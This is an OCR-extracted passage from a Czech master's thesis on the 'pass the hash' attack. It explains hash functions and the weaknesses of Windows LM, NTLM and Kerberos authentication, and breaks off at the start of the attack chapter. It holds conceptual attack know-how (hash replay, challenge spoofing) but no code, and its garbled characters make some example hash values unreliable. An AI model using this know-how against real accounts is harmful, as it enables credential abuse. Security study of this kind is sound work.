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ABSTRAKT

Diplomova prace se zabyva problematikou Gtoku "‘pass the hash"™' na vysoce privilegi-
zované UcCty. V teoretické Casti jsou rozebrany moznosti a tvorby hashe. Nasleduje popis
principu autentizace v operac¢nim systému Windows. Zde je také poukazano na slabiny
v navrhu autetizacnich mechanizmii. Posledni Cast se zabyva samostatnym utokem a
moznostmi zabezpeceni systému za Gcelem jeho znemoznéni.

V praktické Casti jsou testovany volné dostupné nastroje pro ziskavani hashe ze souborii
operacniho systémi a ndstroje za jejichz pomoci je mozné jiz samostatny Gtok provést.
Vystupem této Casti je zvoleni vhodnych nastroji k demonstraci Utoku v navrzeném
realném prostredi.

Posledni Cast prace se zabyva navrZzenim testovaciho prostfedi a demonstraci utoku s
moznosti postupu pres sit. Nasledné jsou provedeny kroky umoznujici zmirnit dopad
celého Gtoku.

KLICOVA SLOVA

Utok, pass the hash, hash, LM, NTLM, SAM, bezpecnost, autentizace

ABSTRACT

The master thesis deals with the attack "‘pass the hash"' on high privileged accounts.
Within the theoretical part is discussed creating hashes and its use. Next is a descrip-
tion of the authentication in Windows operating system. There are also pointed out
weaknesses in the design of authentication mechanisms. The last part deals with the
individual attack and security options for mitigating the impacts.

In the practical part are tested available tools for retrieving hashes from the files of the
operating systems and tools which allow the attack itself. The output of this section is
selection of the appropriate tools to demonstrate the attack in a proposed real environ-
ment.

The last topic is about designing the experimental environment, demostration of the
attack with the possibility of getting through the network. The last steps deal with
mitigating the impact of the attack.

KEYWORDS
Attack, pass the hash, hash, LM, NTLM, SAM, security, authentication
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UVOD

Hesla jsou v dnesnim svété stale vyuzivana jako béZzna bezpecnosti opatreni. Hlavni
diraz by mél byt kladen na jejich silu, a tedy odolnost proti utokim hrubou silou.

V pripadé, ze k takovému tutoku dojde, ne vzdy je zarucena jeho tspésnost. Jejich
casova narocnost je imérna sile zvoleného hesla a pti pouziti dostatecné bezpeéného
hesla je jeho prolomeni témér nerealné.

Ovsem ne vzdy je potieba ke kompromitaci vybraného uzivatelského tc¢tu nutna
znalost hesla v jeho ¢isté podobé.

V soucasné dobé by se uzivatelska hesla neméla posilat a ovétovat v ¢istém textu,
jelikoz by je bylo velmi jednoduché zachytit. Ovérovani spravnosti tedy funguje
zpusobem porovnavani hash otiskti daného hesla.

V pripadé, ze pristup k hashi na daném systému, ¢i auntentizacnim serveru neni
dostatecné zabezpecen, vznikd bezpecnostni dira, kterou je mozné vyuzit ke kompro-
mitaci i vysoce privilegizovanych administratorkych uc¢ti. Kdyz se ttoénik daného
hashe zmocni, mize jej pii auntentizacnim porcesu podvrhnout a prihlasit se na zvo-
leny tucet i bez znalosti konkrétniho hesla.

Kdyz k popsané situaci dojde a utoc¢nik se spésné zmocnil administratorského
uctu, ziskal v podstaté kontrolu nad vsemi pocitaci v konkrétni doméné.

Je tedy patrné, ze by mél byt kladen velky diraz na tvorbu a udrzovani hashi.
Tato diplomova prace ma za cil dokazat, ze tomu tak i po dlouhé dobé, co je tutok

pass the hash znamy, neni.
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1 FUNKCE HASH

Kryptograficka hashovaci funkce H
h=H(Z)

kde Z reprezentuje vstupni data a h vystupni hash je matematicky algoritmus, ktery
prevede vstup (text, soubor, obrazek. .. ) na specialni fetézec znaki o fixni délce. Ten
se nazyva hash neboli otisk. Jeho velikost je obvykle 128, 160, 192 nebo 256 bitu [1].
Idealizovana hashovaci funkce by méla umoznovat:

e rychlé zpracovani,

e nemoznost ziskat vstup z daného hashe,

e nemoznost zménit zpravu bez toho, aby se zménil jeji hash,

 bezkoliznost - neni mozné najit dvé ruzné zparvy se stejnym hashem [2].

V redlném prostiedi ovsem tuto idedlni funkci neni mozné vytvorit, je mozné

se ji pouze priblizit. Tento algoritmus mé tyto vlastnosti:

o jakakoliv vstupni data jsou prevedena na fetézec vystupnich znaki o presné
dané velikosti,

e jednosmérnost - z vysledného hashe je témér nemozné ziskat zpatky vstupni
data,

e sebemensi zména na vstupu vyvola velkou zménu na vystupu,

e koliznost - dva rizné vstupy mohou mit stejny otisk. Tato vlastnost neni za-
douci, nelze se ji ovsem vyhnout z divodu, ze témér neomezena vstupni data
jednoduse nelze popsat koneénym fetézcem pevné délky [I].

K ziskani hashe je v soucasné dobé mozné pouzit nékolika riznych algoritmai.

Mezi nejcastéjsi patti MD5 a SHA-2.

1.1 Message-Digest 5

Jedna se o starsi hashovaci algoritmus, jenz uz byl v soucasné dobé prolomen a tudiz
neni povazovan za bezpecny. Presto je stale vyuzivan v nékterych kryptografickych
protokolech [4]. Na vstupu je nactena libovolna zprava a vystup ¢ini hash o délce
128 bitt. Princip tvorby hashe je néasledujici:

1. Vstupi fetézec je rozsiten doplnujicimi bity tak, aby velikost zpravy byla 448
mod 512. Jako doplnujici bit je zvolena pouze jedna 1 a zbytek tvori 0.

2. Za tcelem zvyseni bezpecnosti je dale k vysledku doplnéno dalsich 64 bit,
které reprezentuji délku puvodni zpravy (Damgard-Merklovo zesileni). Nyni je
zprava beze zbytku délitelna 512.

3. Pred vypocetem jsou v zasobniku incializovany slova A, B, C, D danymi kon-

stantami.
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Obr. 1.1: Schéma jedné iterace u vypoétu MD5 hashe

4. Zprava je rozdélena na jednotlivé bloky o velikosti 512b, které se dédle déli
jesté na 16 c¢asti po 32 bitech (X; - Xi4) a pred zpracovanim je k nim pfic¢tena
konstanta T;.

5. Provede se vypocet hashe z jednoho bloku. Tato operace je znazornéna na
obrazku [I.I] Pro kone¢ny vysledek je algoritmus zopakovan 64x. VSech 64
operaci je rozdéleno na 4 kola, v nichz jsou provadény 4 rizné funkce. Kazda
funkce ma na vstupu slovo o délce 32 bitl a po zpracovani je vysledkem slovo

o stejné délce.

1. kolo: F(B, C, D) = (B A C) V (=B A D),
2. kolo: G(B, C, D) = (B A D) v (CA-D),
3. kolo: H(B, C, D) =B @& C ¢ D,

4. kolo: I(B, C, D) = C® (B v =D).

6. Pro kazdou operaci je zvolen jiny vstup X; a také jiny bitovy posun s.
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7. Vysledny hash daného bloku je reprezentovan vystupem slov A, B, C, D. Je-
likoZ je jejich velikost 32 bitu, vysledny hash ma délku 4*32b = 128 bitt.

8. Vystupni slova predchoziho bloku slouzi jako vstupni slova bloku dalsiho.

9. Vysledny hash celého vstupu je dan slovy A, B, C, D po zpracovani vsech
dostupnych 512b bloku [3].

1.1.1 Prikad MD5 hashe

V pripadé vytvoreni otisku souslovi ,,tvorba md5 hashe® je jeho otisk nasledujici:
347320698h92f901fe4ab1682cH85bfa.
Po zméné souslovi na ,tvorba MD5 hashe® se otisk zméni na:
el3142ca7blad8f69a43f16cctct2c2f

Jak je patrné z vyse uvedeného prikladu, bylo dokazano, ze i mald zména na

vstupu vyvola velkou zménu vystupniho otisku.

1.2 Secure Hash Algorithm

Secure Hash Algorithm (SHA) oznacuje v soucasné dobé rodinu péti algoritma.
Jedna se o SHA-0, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512. VSechny varianty
kromé SHA-1 se souhrnné oznacuji jako SHA-2 [6]. Cisla za oznacenim uvadsji délku
vystupniho hashe.

Bezpecnost algoritmu SHA-1, ktery vychazi z MD4 a MD5, byla zpochybnéna
a bylo dokazano, ze je teoreticky mozné nalézt kolize [6]. Z toho duvodu byla vy-
vinuta funkce SHA-2 a nyni se pracuje na SHA-3, kterda nevychéazi ze svého pred-
chidce [6].

Pred vytvorenim hashe musi opét dojit k upraveni délky vstupu tak, aby byl
délitelny beze zbytku bud 512 nebo 1024, a zprava je néasledné rozdélena na bloky
o velikosti 512 nebo 1024 bitt. Toto rozdéleni zalezi na zvoleném algoritmu SHA
(viz tabulka [1.1)). Princip doplnéni je obdobny jako u MD5 (viz [5].

Stejnym zptsobem jsou definovana i pocateéni vstupni slova A-H [5]. Pribéh
jedné iterace u vypoc¢tu SHA hashe je znazornén na obr.

Funkce Ch a Ma predstavuji operace [6]:

Ch(E,F,G)=(EAF)® (-E A G)
Ma(A,B,C)=(AAB)& (AANC)a& (BAC).
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32
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Obr. 1.2: Schéma jedné iterace u vypoc¢tu SHA hashe [6]

V sumarizacnich blocich dochazi k bitovému posunu slova A a E. Tento bitovy
posun se opét lisi podle zvoleného algoritmu SHA. Blok mod23? predstavuje s¢itani

232

modulo 22, Po skon¢eni posledni iterace se vysledny hash sklad4 zase ze slov A-H [5].

V tabulce[1.1] jsou uvedeny zakladni vlastnosti algoritmi MD5 a SHA. Doplnény

byly taky zdznamy o maximalni velikosti vstupu a mire bezpecnosti.

Tab. 1.1: Vlastnosti hashovacich algoritmt

Algoritmus | velikost maximélni velikost | délka slova (b) kolize
hashe (b) | vstupni zpravy (b)

MD5 128 264 _1 32 nalezeny
SHA-0 160 264 1 32 nalezeny
SHA-1 160 264 _ 1 32 teoreticky mozné

SHA-224 224 264 1 32 nenalezeny
SHA-256 256 264 1 32 nenalezeny
SHA-384 384 2128 1 64 nenalezeny
SHA-512 512 2128 1 64 nenalezeny
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1.3 Vyuziti hashovaci funkce

1.3.1 Intergrita data

Hashovaci funkce se hojné vyuziva pro kontrolu integrity dat, tzn. ovéreni, ze data
nebyla pfi prenosu pozménéna [10]. Princip je zaloZen na tom, Ze mald zména na
vstupu vyvolava velkou zménu na vystupu. U souboru je po jeho vytvoreni (nebo
pfed prenesenim) vytvoren hash a ten je zvefejnén. Uzivatel, ktery si dany soubor
napt. stdhne, muze ovérit, ze nebyl zménén tak, ze vygeneruje hash preneseného
souboru a porovna ho s puvodnim. Timto zptsobem se dé ovérit nejen, ze data

nebyla pozménéna utocénikem, ale také spravny prenos souboru [10].

1.3.2 Hash hesel

Hash hesel je zalozen na jednosmérnosti hashovaci funkce, tedy Ze z daného hashe
nelze zjistit puvodni fraze [7]. Pokud si uzivatel vytovii heslo, to neni v databazi
ulozeno v ¢istém textu, ale pouze jako jaho hash. Pokazdé kdyz se chce dany uziva-
tel znova autentizovat je porovnan pouze hash zadaného hesla s hashem ulozenym
v databézi [7]. Je tedy vyloucend moznost zachyceni hesla v nezabezpecené podobé.

Toto FeSeni ovSem neposkytuje ochranu proti slovnikovému tutoku [7]. Z toho
divodu se k hashi v databazi pridava jesté tzn. ,sul“. Jedna se o vygenerovany
pridavek k heslu. Neni tedy vytvoren hash samotného hesla, ale hesla, do kterého je
pridana sul [7].

Ovsem ani stl nemusi poskytnout maximalni stupen ochrany pri Spatné zvolené
hashovaci funkci [7]. Jak jiz bylo zminéno napt. u MD5 jiz byly nalezeny kolize (dva
ruzné vstupy maji stejny otisk) a u funkce SHA-1 je to teoreticky také mozné. Je

tedy vhodné zvolit aleposii algoritmus SHA-2 [7].

1.3.3 Digitalni otisk dat

Hash v tomto pripadé slouzi jako jednozanc¢ny identifikator dat [10]. Jakkoliv velké
data jsou tedy reprezentovana otiskem o velikosti v fadech desitek bitu (na zakladé
zvolené hashovaci funkce). Toho je mozné vyuzit diky predpoklddané bezkoliznosti

hashovaci funkee [10].

1.3.4 Digitalni podpisy

7 oveérovaného souboru je nejprve vypocten hash, ktery je nasledné zasifrovan sou-

kromym kli¢em vlastnika souboru. Tak vznikne elektronicky podpis [7].
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Pri ovéreni podpisu je nejprve znovu vypocitan hash dokumentu. Diky znamému
vefejnému kli¢i je doruceny podpis desifrovan a ziskan hash z ptvodniho souboru.
Tyto dva ziskané hashe jsou nasledné porovnany. Jestli jejich hodnoty odpovidaji,

je podpis ovéren [7].

1.3.5 Detekce neziadoucich zmén v systému

Pomoci hashe je také mozné detekovat nezddouci zmény a programy v systému [7].
Nejprve je v pravidelnych intervalech generovan otisk systému nebo jeho ¢asti pred
i po provedeni legitimni akce, ktera upravuje soubory v systému. Tento otisk je
nasledné porovnavan se soucasnym stavem systému, za tic¢elem nalezeni nezadoucich

zmeén [7].

19



2 AUTENTIZACE VE WINDOWS

Autentizace ve Windows miuze probihat ptimo nebo neprimo. Pokud probiha pirimo,
jednéd se o model vyzva-odpovéd (challenge-response), kdy uzivatel vznese na au-
tentizacni server pozadavek, server mu nasledné vrati vyzvu, na kterou klient musi
spravné odpovédét(obr. [9]. V pripadé, ze se tak stane, autentizace probéhla
uspésné. Tento model vyuzivaji protokoly LM, NTLMv1l a NTLMv2.

Pozadavek o autentizaci

Vyzva

'y

Odpovéd

potvrzeni autentizace

'Y

Obr. 2.1: Model vyzva odpovéd (challenge-response)

2.1 Lan Manager protokol

Jedna se o starsi autentizacni protokol, jenz ovéruje uzivatele jiz prolomenou auten-
tizacni metodou [9].

Klientovo heslo je Sifrovano na tzn. LM hash. Ten je mozné za pomoci duho-
vych tabulek nebo titokem hrubou silou velmi jednoduse prolomit [9]. Lan manager
se pouzival v systémech Windows do verze NT, kde byl jiz nahrazen protokolem
NTLMv1 [9].

2.1.1 Tovrba LM hashe

Tvorba LM hashe se sklada z nasledujicich kroku [§]:

1. Heslo zadané uzivatelem musi byt prevedeno na fixni délku 14 bytt. Kratsi
heslo je tedy doplnéno na pozadovanou velikost nulami, u delsiho hesla je cely
fetézec zménén na nuly a LM hash neni vytvoren.

2. Veskera maléd pismena jsou prevedena na velka.

3. Retézec o délce 14 byti je rozdélen na dva o polovicni délce. Takto vzniknou
dva klice, které slouzi k zasifrovani konstanty algoritmem DES. Ke kazdému
kli¢i je jesté doplnén jeden byte tak, Ze 7 bytovy blok je rozdélen jako bit
stream a po kazdém sedmém bitu néasleduje doplnéna nula az na pozadovanou

velikost.
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4. Témito kli¢i je nasledné zaSifrovana ASCII konstanta KGS!Q#$%.
5. Vystup tvori dva Tetézce o velikosti 8 bytu, jejichz spojenim vznikne pozado-
vany LM hash s délkou 16 byti.

Tvorba LM hashe je zndzornéna na obrazku [2.2]

Heslo: NoVéHeslO12&
|

Pfevedeni na velka pismena + ofezani, dopInéni

|

NOVEHESLO12&00
Rozdéleni na 2 slova (7B) Rozdéleni na 2 slova (7B)
NOVEHES LO12&00
Vznikly kli¢ Vznik‘lv kli¢
Konstanta Konstanta

A 4

DES
l

Slouceni

DES '« KGS!@#$% KGS!@#5%

Slouceni

LM HASH(hexadecimalné):
ES3AA4A3CFD645849C92C3E9E87FOECS

Obr. 2.2: Vypocet LM hashe

2.1.2 LM vyzva-odpovéd

Nez dojde k autentizaci, je klient nejdiive pozadan o svoje heslo. Po jeho zadéani je
vygenerovan vyse zminénym zptisobem jeho LM hash. Ten je pouzit k rozsifrovani
vyzvy, kterd prisla od serveru. Jelikoz LM hash ma délku 16 byti a DES algorit-
mus vyuziva klice o délce 7 bytt, musi byt LM hash prvné upraven. To probéhne
nésledujicim zpusobem (obr. [8]:

1. LM hash je doplnén na délku 21 byti. VSechny doplnéné znaky jsou nuly.

2. Vznikly fetézec je rozdélen na 3 sedmibytové. Ty nasledné slouzi jako klice

k desifrovani.
3. Zasifrovana vyzva je celkem tiikrat rozkdédovana ziskanymi klici.

4. Spojenim dosazenych vysledkti vznikne Tetézec o délce 24 bytu.

21



ES53AA4A3CFD645849C92C3E9E87FOECS

LM HASH(16B):

1. kli¢ (7B)

2. kli¢ (78B)

‘ ES53AA4A3CFD645

‘ 849C92C3ESE87F

‘Vyzva (8B) DES

‘V\'/zva (8B) DES

3. kli¢ (2B + doplnéni)

‘ 0EC80000000000

‘V\’/zva (8B)

DES

I
l
Slouceni vysledka

!

Vyslednd odpovéd na vyzvu (21B)

Ziskany rozsifrovany tetézec je zaslan zpét na server, a kdyz je jeho hodnota

stejna jako hodnota, kterou si vypocital sever z ulozeného LM hashe v jeho databazi,

Obr. 2.3: Zpracovani vyzvy

je uzivatel tispésné autentizovan [g].

2.1.3 Chyby v navrhu LM hashe

Jak je jiz patrné z tvorby LM hashe, jeho nédvrh obsahuje velmi vyrazné chyby, které

jej ¢ini velmi zranitelnym [9].

1. Heslo je ve druhém kroku ptrevedeno pouze na velkd pismena, ¢imz se se vy-
razné snizi pocet pouzivanych znaki. Timto je mnohonasobné zvysena nachyl-
nost ke slovnikovém ttoku. Pivodnim tc¢elem tohoto kroku méla byt eliminace

Spatného zadani hesla v pripadé, ze uzivatel chybné zada velka ¢i mald pis-

mena.

2. Hash hesla je tvoren sifrovanim znamé konstanty v nechranéné podobé. Ta ne-

obsahuje zadnou stl ani dalsi ndhodné prvky. Je tedy jednodussi heslo uhad-

nout a také je zvysSena nachylnost ke kryptoanalyze

3. Heslo je rozdéleno na dvé ¢asti po sedmi znacich. V ptipadé, Ze bylo heslo

kratsi nez 7 znakt, druhd cast je doplnéna nulami. Ta je nasledné vyuzita jako
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kli¢ k sifrovani také znamé konstanty. Z toho vyplyva, ze kazdé heslo kratsi
nez 7 znaki bude mit druhou ¢ast sifrovaného textu stejnou. Ta je navic dobre
znama. Je tedy velmi snadné dohledat, zdali je heslo kratsi nez 7 znak.

4. Heslo je rozdéleno na dvé casti, které jsou zpracovavany nezavisle na sobé.
Neexistuje mezi nimi zadna kryptograficka vazba, a tedy je mozné zaitocit
na kazdou cast zvlast.

5. Vseobecné neni jiz dnes DES algoritmus neni povazovan za bezpecny [9].

2.2 NT Lan Manager

Protkol NTLM navazuje na starsi, jiz nebezpecny protokol LM. Jeho cilem bylo
opravit slabiny LM protokolu [12]. OvSem ani tento protokol neni dnes povazovan
za bezpecny, presto je hojné vyuzivan na vétsiné operac¢nich systému Windows [12].
V pripadé, Ze jsou pocitace pripojeny do domény, mél by byt preferovan protokol
Kerberos [12]. Existuji dvé verze daného protkolu - NTLMv1 a NTLMv2. Obé dvé
opét vyuzivaji modelu vyzva-odpovéd (viz obr. [12].

2.2.1 NTLMv1 hash

NTLM hash je tvofen mnohem jednodusSeji nez LM hash. Na zvolené heslo je pouze
aplikovan jednosmérny algoritmus MD4 a vznikly otisk je ulozen do databaze.

MD4 hash je predchtidce dnes jiz prolomeného, ovSsem stale hojné pouzivaného
algoritmu MD5. Jeho tvorba oproti tvorbé MD5 hashe (viz obsahuje tyto
zmeény [11]:

o Provadi se pouze tti kola oproti ¢tyrem u MD5.

» Neobsahuje pricteni kostanty K; (viz obr.

o Vyuziti jinych funkci, které jsou ovsem jen tii.

o Vystupni data predchoziho kola prichazeji ve stejném poradi jako vstupni data

kola dalsiho.

 Jiny pocet bitt pro bitovy posun <<< s [11].

Jak je jiz patrné z pouzitého hashovaciho algoritmu, ani tento protokol nemtze
byt povazovan za bezpecny, jelikoz byly u algoritmu MD5 nalezeny kolize. Totéz
plati i pro starsi MD4 [12].

NTLMv1 vyzva-odpoveéd

Protkoly LM a NTLM jsou velmi podobné, jejich hlavni rozdil tvoti pouze vypocet

hashe hesla [12]. Schéma vypoc¢tu odpovédi je totzné se schématem uvedenym na

obr. 2.3]

23



Jediny rozdil tvori pouze pouziti NTLM hashe (MD4) namisto LM hashe pti
tvorbé ti{ potfebnych kli¢t pro siforvani vyzvy [13]. NTLMv1 hash o délce 16 byt
je také doplnén nulami na 21 byti. Vyslednd odpovéd slozena ze tii kryptogramt
mé délku 24 bytu [13].

Zranitelnosti NTLMv1

Protkol NTLMv1 prosel zménou pouze pri vypoctu hashe, ktera se nasledné c¢astecné
odrazila ve vypoc¢tu odpovedi. Ovsem zachovani principu vyzva-odpovéd jej cini
zranitelnym proti mnoha tokum zalozenych na podvrzeni ptihlasovacich udaju [14].
« Pasivn{ ttok opakovanim. Utoénik zachyti vyzvu a tspésnou odpovéd na ni.
Nésledné, pokud se podari ito¢nikovi ziskat hash uzivatelova hesla, mtze pro-
vést itok opakovanim. Ten spociva v tom, ze utoc¢nik opakované vysila poza-
davky na server az do té doby, nez mu prijde stejna vyzva, jako je ta, kterou
zachytil v prvnim kroku [14].
o Aktivni shromazdovani duplicitnich vyzev. V tomto pripadé ttocnik zasila
autentiza¢ni pozadavky na napadeny pocita¢ a shromazduje zaslané vyzvy.
Déle tto¢nik podvrhne uzivateli napt. falesnou stranku a zasle mu jako vyzvu
fetézec ziskany v predchozim kroku. Po autentizaci uzivatele jiz znd utocnik
i jeho hash. Ten muze pti duplicitni odpovédi z prvniho kroku podvrhnout
a prihlasit se na danou stanici [14].
o Aktivni predikce vyzev. Utocnik se za pomoci Skodlivého kédu snazi zjistit,
jakym zpusobem jsou generovany vyzvy v zavislosti na case. Pokud se mu
tohle podafi zjistit, podvrhne konkrétni vyzvu uzivateli, a tak opét ziska jeho

hash, ktery muze vyuzit k prihlaseni [14].

2.2.2 NT Lan Manager verze 2

NTLMv2 je nastupcem NTLMv1 a byl vyvinut za ic¢elem odstranéni bezpecnostnich
chyb jeho predchiidce. OvSem ani v soucasné verzi protokolu se stile nevyuziva
alesponn SHA hashe, ale k ziskani NTLM hashe slouzi opét algoritmus bud MD4
nebo MD5 [12]. Jak jiz bylo feceno, tato implementace hashovactho algoritmu ¢ini
cely systém néchylnéjsi k prolomeni [12].

Tento protkol je pouzivan v systémech Windows Vista a vyssich [12]. V pripadé
jeho aktivace jsou veskeré odpovédi NTLM a LM nahrazeny odpovédmi NTLMv2
a LMv2 [12].
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NTLMv2 vyzva-odpovéd

P1i vyvoji tohoto protokolu doslo i ke zméné modelu vyzva-odpovéd. Jak jiz bylo
zminéno, stale se vyuziva NTLM hashe, ovsem do procesu autentizace je zahrnuta
i vyzva klienta. Tim by méla byt zarucena odolnost proti pasivnimu ttoku opako-
vanim (viz , nicméné proti zbyvajicim utokum je stale nachylny [12].

Zménén byl také princip tvorby NTLM hashe. V tomto pripadé se jiz nejedna

pouze o otisk samotného hesla, ale o HMAC-MD5 otisk, ktery obsahuje:

e jméno uzivatele,

e uzivatelovo heslo,

 ndazev domény, do které se uzivatel hlasi [13].

Vysledny MD5 hash je oznacovan jak NTLMv2 hash [13].

P1i ovéfovani autenticity uzivatele se postupuje nasledujicim zptisobem (obr :

o Nejprve opét klient zazada o autentizaci a je mu ze strany serveru poskytnuta
8 bytova vyzva.

 Klient vygeneruje 2 vyzvy (client challenge).

e Prvni vyzva je ndhodny retézec o délce 8B.

o Druha klientska vyzva se sklada z nahodného 8B tetezce, doplnujicich dat, na-
zvu domény a ¢asového razitka (pravé to by mélo zabranit utokim opakovanim
vyzev).

o Tyto vyzvy jsou zaslany na sever spolecné s odpovédi na vyzvu.

o Odpovéed tvori HMAC-MD5 otisk NTLMv2 hashe spolecné s prvni a druhou
klientskou vyzvou.

e Server nasledné prijata data overi, vypocita potfebné hashe a autentizuje uzi-
vatele [13].

Poiadavek o autentizaci

L 4

Vyzva 8B
HMAC-MDS{NTLMv2 hash + klietské vyzvy)
potvrzeni autentizace T
MD5(Jméno, doména, heslo) KV1: nahodnych 8B

KV2: 8B + data, ¢as, doména

Obr. 2.4: NTLMv2 vyzva-odpoved

V pripadé, kdy klientské vyzvy musi prochézet pres sit (napt. autentizacni server

preposila data fadi¢i domény), by data prochézela v ¢istém textu, a proto byla
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vyvinuta modifikace ,Session NTLMv2“. Po nasazeni jsou obé vyzvy (klientska
i serverova) prenaseny jako hash [13].
 Klient obdrzi 8B vyzvu, vytvori si NTLMv2 hash (16B) a doplni ho opét na
21B.
o Klient vygeneruje svoji ndhodnou 8B vyzvu. Tato vyzva je doplnéna nulami
na velikost 24B.
o Na tuto vyzvu spoleéné s vyzvou ze strany serveru je aplikovan algoritmus
MD5 a vznike hash o velikosti 16B.
o Tento hash je pouzit jako vstupni Sifrovand konstanta.
« Tato konstanta je 3x zasifrovana algoritmem DES. Jako jednotlivé klice slouzi
casti NTLMv2 hashe.

« Vzniklé vystupy se spoji a jsou zaslany serveru jako odpovéd na vyzvu [13].

PoZadavek o autentizaci

Vyzva 8B

<

> Session NTLM odpovéd’

% potvrzeni autentizace
PR—

| Session NTLM
odpovéd
DES DES DES
Y A
Kli¢ 1 (1-7B) Kli¢ 3 (8-14B) Kli¢ 2 (14-21B) MD5
T ‘ ] !
[ |
NTLMv2 hash (doplnén na 21B) Serverova vyzva Klientska vyzva

Obr. 2.5: Session NTLMv2 vyzva-odpoved

2.3 Kerberos

Jednd se o protokol, ktery vyuziva nepfimé ovéteni [15]. V siti tedy musi figurovat
minimalné tfi objekty. Klient, server, na ktery se uzivatel autentizuje, a distribuc¢ni
centrum klica (KDC - Key Distribution Center) [15]. Jelikoz je protokol Kerberos
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vyuzivan pro centralizované spravovani ptrihlasovacich idajt, je jeho nasazeni vhodné
prevazné do domén. Uzivatel se tedy neautentizuje piimo u serveru poskytujicim
sluzbu, ale u distribuc¢niho centra, které v tomto pripadé reprezentuje radi¢ domény
(active directory) [15].

KDC zde predstavuje divéryhodnou autoritu, ktera zna potrebné sSifrovaci klice
vsech klientti v doméné. Z davodu zvyseni bezpecnosti KDC poskytuje pii navazo-

vani spojeni mezi klientem a serverem pouze nezbytené autentiza¢ni tidaje [15].

2.3.1 Vyhody protokolu Kerberos

Jeho hlavni vyhoda spoc¢iva v tom, Ze pres sit nejsou prenaseny vibec zadné tdaje
piimo souvisejici s autentizaci (hashe). Autentizace zde probiha na principu tiketu,
které jsou pouze docasné a nelze je tedy zneuzit obdobné, jak tomu bylo u vyzvy
v protokolu NTLM [15].

Dalsi vyhodou je fakt, ze podporuje funkci ,single sign-on“. Jedné se o metodu,
diky niz se uzivatel nemusi opakované prihlasovat k vicero sluzbam, ale po prvnim
tspésném prihlaseni je pripustén ke vSem dostupnym sluzbam (pokud autentizace
probiha u stejného KDC) [15].

2.3.2 Princip ovérovani

o Uzivatel pti prvnim prihaseni k doméné zadd svoje prihlasovaci udaje, ze kte-
rych je nasledné vytvoren SHA hash. Tento hash slouzi jako tajny kli¢ pro dalsi
kroky. Ziskanym klicem je zasifrovano uzivatelské jméno a casové razitko, které
tvori zadost, a jsou poslany na autentizacni server, coz je soucast KDC.

 Autentizacni server tento kryptogram rozsifruje (diky heslu, které ma uzivatel
v active directory). Nésledné ovéii platnost ¢asového razitka a zdali je dany
uzivatel v jeho databazi. Pokud ano, déle si vytvori uzivateliv tajny klic.

« Jako odpovéd na autentizacni zadost zasle zpét tzv. ,session kli¢“. Ten neni
posilan v ¢istém textu, ale je zaSifrovan pomoci tajného klice klienta. Diky
tomu bude mozné, aby klient komunikoval s KDC v sifrované podobé.

e Spolec¢né s timto klicem je klientovi také zaslan tzv. , Ticket-Granting Ticket
(TGT). Jedna se o unikéatni kli¢, ktery je zasifrovin KDC tajnym klicem.

o Pokud je uzivatel schopny session kli¢ rozsifrovat, mize byt tspésné auten-
tizovan, protoze k rozsiforvani je pouzit kli¢, ktery je vytvoren z uzivatolva
jména a hesla. Neni tedy nutné po siti posilat zadné hashe, jak by tomu bylo
v pripadé vyuziti NTLM.

o TGT klient neni schopny rozsifrovat, pouze mu slouzi jako identifikace tispésné

probéhlé antentizace a obsahuje jeho jméno, adresu a dobu platnosti tiketu +
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session key. Diky nému je nasledné mozné vyuzivat funkci single sign-on.
o Tento tiket ma ovsem omezenou dobu platnosti. Po jejim uplynuti je uzivatel
nucen znova se autentizovat a ziskat novy tiket (nebo obnovit stavajici) [15].

Schéma autentizace je zndzornéno na obrézku [2.6]

Zadost = $ifrované jméno + ¢asové razitko

v

Session kli¢, zasifrovan tajnym klicem klienta +

Ticket-Granting Ticket = idetifikacni tdaje o klientovi, Sifrované KDC klicem

I

Service ticket, Sifrovany session klicem ~

Session kli¢ sluzby, Sifrovany pivodnim session klicem +
Service ticket 2 poZadované sluzby, Sifrovany tajnym klicem sluzby

|

Klient
: Key Distribution

Center (KDC)

Service ticket 2

Navazani relace

<1

Server

Obr. 2.6: Princip protokolu Kerberos [15]

Pokud si klient zazada o pristup ke zvolené sluzbé, dojde k nasledné komunikaci:

o Klient musi sestavit zadost o tiket k pozadované sluzbé tzv. ,service ticket®.
Ten se sklada ze jména sluzby, uzivatelovy identifikace a ¢asové znamky. Cely
service ticket je zasiforvan ziskanym session klicem.

 Service ticket je odeslan na Ticket granting service (TGS), coz je opét soucast
distribu¢niho centra klici.

o TGS obdrzeny tiket rozsifruje a tim autentizuje klienta. Vyslednd odpovéd
se sklada ze dvou c¢asti.

o Prvni ¢ast obsahuje session kli¢ pro komunikaci serveru a klienta, Sifrovany
puvodnim session klicem. Druhd ¢ast obsahuje service ticket s klientovymi
identifika¢nimi udaji. Druhd cast je siforvana tajnym klicem sluzby. Klient jej

tedy opét nemuze rozsifrovat.
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e Obdrzeny service ticket je klientem zaslan na server, kde je rozsifrovan a na-
sledné je jiz piimo navazana komunikace mezi klientem a serverem (viz obr.
2.6|) [15].

2.3.3 Zranitelnosti

Vv

ovSem i zde muze dojit k atokum [16].

e Obdobné jako u NTLM i zde se da pouzit utok opakovanim. OvSem uz ne
s takou tspésnosti. Utok je zde zaloZen na kradezi TCP relace mezi serverem
a klientem. V pripadé, ze utoc¢nik zachyti potfebny service ticket, je mozné se
k dané sluzbé prihlasit do té doby, nez vyprsi platnost tiketu. Jelikoz platnost
tiketu je pivodné ponechdna na desiti hodinach [I5], utoénik mé dostatecny
¢as sluzby zneuzit [16].

o Jelikoz protokol Kerberos také stoji na casové synchronizaci, je dilezité také
pouzivat duvéryhodné protokoly. Pokud by byl pouzit protkol s chybou v na-
vrhu, velmi by to usnadnilo ito¢nikovi kompromitaci ¢asovych znamek, a tedy
celych tiketa [16].

o H&adani hesel. Jedna se o utok hrubou silou. V ptipadé, ze by se utoc¢nikovi
podarilo zjistit hash hesla z pocitace obéti, muze se jej pokusit prolomit. Vse
zalezi na sile hesla a algoritmu tvorby hashe [16].

o Ziskany hash nemusi byt pouzit k utokim hrubou silou, diky exploitim je
mozné vyuzit také tzv. ,Pass the Hash“ utok. Kerberos vyuziva NTLM hash,
ze kterého nasledné tvori zasifrovany kli¢. Kdyz je tedy hash kompromitovan,

uto¢nik jej mize vyuzit k vypoctu vlastniho kli¢e a autentizaci vici KDC [16].
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3 PASS THE HASH

Pass the hash je utok, ktery umoznuje utoénikovi vyuzit LM a NTLM hashe k au-
tentizaci ke vzdélené (i lokalni) stanici bez znalosti hesla a bez nutnosti prolomeni
téchto hasht [17]. Cely postup je zaloZen na zranitelnostich autentiza¢niho protokolu
